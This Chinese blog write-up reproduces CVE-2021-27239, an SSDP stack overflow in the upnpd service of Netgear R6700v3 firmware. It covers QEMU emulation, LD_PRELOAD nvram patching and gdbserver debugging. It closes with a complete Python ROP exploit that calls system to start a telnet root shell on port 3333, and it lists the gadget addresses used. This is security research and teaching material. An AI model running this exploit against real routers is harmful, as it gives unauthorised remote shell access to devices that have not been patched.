漏洞CVE-2021-27239被披露于部分Netgear路由器中,是UPnP服务所用的SSDP协议上的一个栈溢出漏洞。该漏洞的利用思路与上一次CVE-2021-34991漏洞相近,所以本文会略写利用手法,详写固件模拟、程序调试等过程。
UPnP协议,Universal Plug and Play,广义的即插即用。UPnP的目的是:当任何设备一旦连接上网络,网络上的其它设备能够马上知道有新设备加入,然后这些设备能够互相宣传和发现彼此的能力和服务,以便能够使用和控制彼此。UPnP避免了人工配置的琐碎和操作的缓慢。
SSDP协议,Simple Service Discovery Protocol,简单服务发现协议,用于宣传和发现设备提供的服务和设备的一些信息。此协议采用基于通知和发现路由的多播发现方式实现,协议客户端在保留的多播地址:239.255.255.250:1900 (IPv4) 发现服务,(IPv6 为FF0x::C)。同时每个设备服务也在此地址上监听服务发现请求。如果服务监听到的发现请求与此服务相匹配,此服务会使用单播方式响应。
请求报文:
M-SEARCH * HTTP/1.1
HOST: 239.255.255.250:1900
MAN: "ssdp:discover"
MX: 5
ST: ssdp:all
响应报文:
HTTP/1.1 200 OK
ST: upnp:rootdevice
LOCATION: http://192.168.6.2:5000/Public_UPNP_gatedesc.xml
SERVER: Linux/2.6.12, UPnP/1.0, NETGEAR-UPNP/1.0
EXT:
CACHE-CONTROL: max-age=3600
USN: uuid:6cbbc296-de22-bde2-3d68-5576da5933d1::upnp:rootdevice
本次复现所用的固件版本为R6700v3 1.0.4.102,可点击这里下载。下载后使用binwalk -Me
提取出固件文件系统。我们已知漏洞存在于upnp服务中,所以首先得找出对应的程序。可以通过相关的命令来帮助我们快速地寻找:
# find命令
find . -name upnpd
# 如果不太确定文件名字,可以使用通配符
find . -name *upnp*
# grep命令
grep -r upnp #不仅是文件名,文件中含有该字符都会被查找出来
通过命令,可以找到upnp服务程序是/usr/sbin/upnpd。
IDA打开upnpd程序,通过字符串查找,可很快定位到漏洞所在处:
可以看出,strncpy拷贝的长度是等于MX字段的长度,同时v6是位于栈上的,因此可以进行栈溢出利用。
一开始是使用FirmAE进行模拟,固件模拟是成功了,但发送数据包时,似乎没发送到。后续只能看看源码分析原因了,目前打算使用qemu搭一下😶
通过file命令可知道指令架构为32位ARM 小端序,固件的系统级模拟需要内核镜像文件、文件系统和启动文件,在此网站可进行下载。
wget https://people.debian.org/~aurel32/qemu/armhf/debian_wheezy_armhf_standard.qcow2
wget https://people.debian.org/~aurel32/qemu/armhf/vmlinuz-3.2.0-4-vexpress
wget https://people.debian.org/~aurel32/qemu/armhf/initrd.img-3.2.0-4-vexpress
在宿主机创建个虚拟网卡,用于与虚拟机交互。接着就是使用qemu-system-arm开始模拟。
#! /bin/bash
sudo tunctl -t tap0
sudo ifconfig tap0 192.168.6.1/24
qemu-system-arm -M vexpress-a9 \
-kernel vmlinuz-3.2.0-4-vexpress -initrd initrd.img-3.2.0-4-vexpress \
-drive if=sd,file=debian_wheezy_armhf_standard.qcow2 \
-append "root=/dev/mmcblk0p2" \
-net nic -net tap,ifname=tap0,script=no,downscript=no -nographic
虚拟机成功模拟之后:
# 配置虚拟网卡,用于宿主机交互
ifconfig eth0 192.168.6.2/24
# 从宿主机传输文件系统到虚拟机
# 1.在宿主机执行下面命令,会以当前目录为根目录,在8888端口开启传输服务
python2 -m SimpleHTTPServer 8888 # python2
python3 -m http.server 8888 # python3
# 2.在虚拟机中使用wget下载
wget 192.168.6.1:8888/[file]
# 挂载
mount -t proc /proc ./squashfs-root/proc
mount -o bind /dev ./squashfs-root/dev
chroot ./squashfs-root/ sh
启动upnp服务:/usr/sbin/upnpd
报错:/dev/nvram: No such file or directory
这是固件模拟中比较常见的一个问题。
我们可以把相关的代码patch掉,具体操作是:自定义相应的函数,然后通过LD_PRELOAD环境变量优先加载我们编写的库。初此之外,还可能会报找不到dlsym符号的错误,这是因为没有加载到libdl.so.0库。
详细内容可参考:https://paper.seebug.org/1311/
途中需要用到交叉编译,我下载的是cross-compiler-armv5l
,使用bin目录中的armv5l-gcc编译代码,输出.so文件。最后将.so文件上传到虚拟机中。文件点击这里下载!
最后:LD_PRELOAD="/nvram.so /libdl.so.0" /usr/sbin/upnpd
我们可以在宿主机nmap 192.168.6.2
检查一下upnp服务是否成功启动。
我们所知道,嵌入式设备的磁盘空间是很小的,不足以去添加完整的工具,其中之一就是gdb。了解到,gdbserver是一个程序,它可以使gdb和被调试程序分别运行在不同机器上。想要对upnp服务程序进行调试,我们可以上传一个gdbserver程序到虚拟机中,在虚拟中开启一个调试端口,让宿主机能够连接调试。
点击这里下载gdbserver程序
ps | grep upnpd # 查看upnpd服务的进程号
./gdbserver-7.7.1-armhf-eabi5-v1-sysv --attach 0.0.0.0:12345 [pid]
由于是arm架构,所以宿主机得用gdb-multiarch进行连接:
# 相关的gdb命令
set architecture arm
target remote 192.168.6.2:12345
我们可以在gdb中设置好断点,然后执行利用脚本,虚拟机中的程序会卡在断点处,等待着我们的调试。
漏洞利用思路和上次CVE-2021-34991相差无几,需要注意的是这次对两处发包,一次是先对5000端口发送命令存入,另外一次是对1900端口发包利用。利用手法还是使用栈溢出进行ROP,利用过程:有了大概的想法,然后去找gadget,编写exp试试,然后就是找gadget->慢慢调整,一个反复的过程。
我这里用到的gadget是这两段:
.text:00013908 02 DB 8D E2 ADD SP, SP, #0x800
.text:0001390C 70 80 BD E8 POP {R4-R6,PC}
.text:00017C78 04 00 A0 E1 MOV R0, R4 ; command
.text:00017C7C 78 CC FF EB BL system
找gadget用的工具是ROPgadget,奇怪的是--only参数
好像没起到挑选作用。这样子的话,我们可以先ROPgadget --binary ./upnpd
,看看指令的大概格式,然后再在后面使用grep来一次或者多次进行挑选。例如:ROPgadget --binary ./upnpd | grep "add sp, sp" | grep "pop"
。
至于调用system的gadget,我们可以直接在IDA找到对system的关联引用,依次查看。
还需要注意的是,这里是对报文有长度限制的:(使用\x00绕过即可)
EXP:
import socket
import pwn
ssdp_port = 1900
upnp_port = 5000
ip = "192.168.6.2"
command = "/bin/utelnetd -p3333 -l/bin/sh -d"
def s2b(s):
return bytes([ord(x) for x in s])
def mySend(ip, port, payload):
sock=socket.socket(socket.AF_INET,socket.SOCK_DGRAM)
sock.connect((ip, port))
sock.send(payload)
pwn.sleep(1)
sock.close()
def mySend_http(ip, port, payload):
sock=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
sock.connect((ip, port))
sock.send(payload)
pwn.sleep(1)
sock.close()
def set_command():
# 将命令写到全局变量中
payload = b'<?xml version="1.0"?> '
payload += b'<SOAP-ENV:Envelope> '
payload += b'Body>:'
payload += s2b(command.replace(" ","${IFS}"))
# payload += b'ls'
# payload += b'Body>'
payload += b" </SOAP-ENV:Body> "
payload += b"</SOAP-ENV:Envelope>"
request = b'POST /Public_UPNP_C5 HTTP/1.1\r\n'
request += s2b('Host: http://{}:{}\r\n'.format(ip, upnp_port))
request += b'SOAPAction\r\n'
request += s2b('Content-Length: {}\r\n'.format(len(payload)))
request += b'\r\n'
request += payload
mySend_http(ip, upnp_port, request)
def Exploit():
stack_add_gadget = 0x13908 # ADD SP, SP, #0x800; POP {R4-R6,PC}
command_address = 0x65A58
system_gadget = 0x17C78 # MOV R0, R4; BL system
payload = b'M-SEARCH * HTTP/1.1\r\n'
payload += b'HOST: 239.255.255.250:1900\r\n'
payload += b'MAN: "ssdp:discover"\r\n'
payload += b'MX:4' + b'A'*0x7f
payload += b'4444'
payload += b'5555'
payload += b'6666'
payload += pwn.p32(stack_add_gadget)[:3]
payload += b'\r\n\x00' # \x00绕过长度检查
payload += b'J'*(0x800 - 0x778)
payload += pwn.p32(command_address)
payload += b'K'*4*2
payload += pwn.p32(system_gadget)
payload += b'ST: ssdp:all\r\n'
print("len="+str(len(payload)))
print(payload)
mySend(ip, ssdp_port, payload)
if __name__ == "__main__":
set_command()
Exploit()
这次利用因为得向两处发包,所以EXP有点冗余。幸运的是,我在pursue师傅的文章中学了一招,可以直接使用strncpy函数来存入命令。
.text:0000BB44 04 00 A0 E1 MOV R0, R4 ; dest
.text:0000BB48 0D 10 A0 E1 MOV R1, SP ; src
.text:0000BB4C F2 FE FF EB BL strcpy
.text:0000BB4C
.text:0000BB50 01 DB 8D E2 ADD SP, SP, #0x400
.text:0000BB54 70 80 BD E8 POP {R4-R6,PC}
这还是挺不错的,毕竟不一定所有的路由器都能找到写入命令的服务。
这次学到了很多东西,不过对于工具的使用还得慢慢消化……😴
https://paper.seebug.org/1311/
https://rmrfsad.github.io/2023/04/05/iot/CVE-2021-27239/
↶ 返回首页